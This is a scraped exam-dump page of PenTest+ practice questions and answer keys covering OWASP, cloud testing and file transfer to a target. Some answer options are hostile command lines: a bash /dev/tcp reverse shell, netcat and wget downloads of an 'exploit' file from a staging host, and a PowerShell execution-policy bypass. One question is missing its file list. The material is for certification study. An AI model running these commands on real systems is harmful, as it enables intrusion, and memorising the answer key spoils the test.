QUESTION: 5

Which of the following BEST describe the OWASP Top 10? (Choose two.)

The most critical risks of web applications
A list of all the risks of web applications
The risks defined in order of importance
A web-application security standard
A risk-governance and compliance framework
A checklist of Apache vulnerabilities

Answer(s): A,C

Reference:

https://www.synopsys.com/glossary/what-is-owasp-top-10.html

A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are:

Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

Edit the discovered file with one line of code for remote callback.
Download .pl files and look for usernames and passwords.
Edit the smb.conf file and upload it to the server.
Download the smb.conf file and look at configurations.

Answer(s): C

Reveal Solution Next Question

QUESTION: 7

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data.
Which of the following should the tester verify FIRST to assess this risk?

Whether sensitive client data is publicly accessible
Whether the connection between the cloud and the client is secure
Whether the client's employees are trained properly to use the platform
Whether the cloud applications were developed using a secure SDLC

Answer(s): A

Reveal Solution Next Question

QUESTION: 8

A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891

Which of the following commands could be used to download a file named exploit to a target machine for execution?

nc 10.10.51.50 9891 < exploit
powershell -exec bypass -f \\10.10.51.50\9891
bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
wget 10.10.51.50:9891/exploit

Answer(s): D

Reveal Solution Next Question

Free PT0-002 Exam Braindumps (page: 3)

QUESTION: 5

Reference:

QUESTION: 6

QUESTION: 7

QUESTION: 8

PT0-002 Discussions & Posts